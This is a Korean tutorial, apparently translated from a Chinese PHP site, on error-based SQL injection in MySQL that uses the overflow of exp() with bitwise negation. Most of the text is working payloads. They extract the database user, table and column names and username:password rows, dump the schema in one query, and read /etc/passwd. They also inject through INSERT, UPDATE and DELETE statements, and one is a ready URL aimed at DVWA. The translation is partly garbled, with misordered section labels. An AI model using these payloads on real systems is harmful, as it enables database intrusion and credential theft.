0x01 소개 개요
편집자는 MySQL에서 또 다른 Double 데이터 오버플로를 발견했습니다. MySQL에서 함수를 얻을 때 편집자는 수학 함수에 더 관심을 가지게 되며 값을 저장하기 위한 일부 데이터 유형도 포함해야 합니다. 그래서 편집자는 어떤 함수가 오버플로 오류를 일으키는지 확인하기 위해 테스트를 실행했습니다. 그런 다음 편집자는 709보다 큰 값이 전달되면 exp() 함수가 오버플로 오류를 발생시킨다는 것을 발견했습니다.
<p>mysql> select exp(709);<br>+-----------------------+<br>| exp(709) |<br>+-----------------------+<br>| 8.218407461554972e307 |<br>+-----------------------+<br>1 row in set (0.00 sec)</p><p>mysql> select exp(710);<br>ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'</p>
MySQL에서 exp, ln 및 log의 기능은 반대입니다. 간단히 소개하자면, log와 ln은 모두 e를 밑으로 하는 로그를 반환합니다. 방정식을 참조하세요.
<p>mysql> select log(15);<br>+------------------+<br>| log(15) |<br>+------------------+<br>| 2.70805020110221 |<br>+------------------+<br>1 row in set (0.00 sec)</p><p><br>mysql> select ln(15);<br>+------------------+<br>| ln(15) |<br>+------------------+<br>| 2.70805020110221 |<br>+------------------+<br>1 row in set (0.00 sec)</p>
지수 함수는 로그 함수의 역함수입니다. exp()는 다음 방정식과 같이 e를 밑으로 하는 로그 함수입니다. 부정적인 쿼리 "DOUBLE 값이 범위를 벗어났습니다." 오류가 발생합니다. 작성자의 이전 블로그 게시물에서 언급했듯이 0의 비트 단위 반전은 "18446744073709551615"를 반환합니다. 또한 함수가 성공적으로 실행된 후 0을 반환하므로 성공적으로 실행된 함수를 반전하면 *** unsigned가 됩니다.
mysql> select exp(2.70805020110221); +-----------------------+ | exp(2.70805020110221) | +-----------------------+ | 15 | +-----------------------+ 1 row in set (0.00 sec)
<p>mysql> select ~0;<br>+----------------------+<br>| ~0 |<br>+----------------------+<br>| 18446744073709551615 |<br>+----------------------+<br>1 row in set (0.00 sec)</p><p><br>mysql> select ~(select version());<br>+----------------------+<br>| ~(select version()) |<br>+----------------------+<br>| 18446744073709551610 |<br>+----------------------+<br>1 row in set, 1 warning (0.00 sec)</p>
0x03 출력 데이터
테이블 이름 가져오기:>`exp(~(select*from(select user())x))` mysql> select exp(~(select*from(select user())x)); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'열 이름 가져오기:
select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));데이터 검색:
select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x));0x04 한 번에 완료이 쿼리는 다음을 사용하여 현재 컨텍스트에서 모든 테이블을 덤프할 수 있습니다. 열. 전체 데이터베이스를 덤프할 수도 있지만 오류를 통해 추출하고 있으므로 결과가 거의 반환되지 않습니다.
select exp(~ (select*from(select concat_ws(':',id, username, password) from users limit 0,1)x));
0x05 파일 읽기
load_file() 함수를 통해 파일을 읽을 수 있지만 저자는 이 명령문을 BIGINT 오버플로 주입에도 사용할 수 있다는 것을 발견했습니다.
exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)) http://localhost/dvwa/vulnerabilities/sqli/?id=1' or exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))-- -&Submit=Submit#
이 오류는 0만 쓰기 때문에 파일에 쓸 수 없다는 점에 유의하세요. select exp(~(select*from(select load_file('/etc/passwd'))a));
mysql> select exp(~(select*from(select 'hello')a)) into outfile 'C:/out.txt'; ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'hello' from dual)))' # type C:\out.txt 0
mysql> insert into users (id, username, password) values (2, '' ^ exp(~(select*from(select user())x)), 'Eyre'); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
0x07 업데이트 인젝션
mysql> insert into users (id, username, password) values (2, '' | exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)), 'Eyre'); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '000 newdb::users::id newdb::users::username newdb::users::password' from dual)))'
0x08 인젝션 인 삭제
mysql> update users set password='Peter' ^ exp(~(select*from(select user())x)) where id=4; ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'기존 BIGINT 인젝션과 마찬가지로 exp 인젝션도 MySQL5.5.5 이상에서 적용 가능합니다. 이전 버전에서는 이 상황에 대해 "침묵"이었습니다.
mysql> delete from users where id='1' | exp(~(select*from(select user())x)); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'이런 종류의 오류를 생성하는 다른 기능이 있을 수 있습니다.
위 내용은 SQL 오류 주입에 exp를 사용하는 방법의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!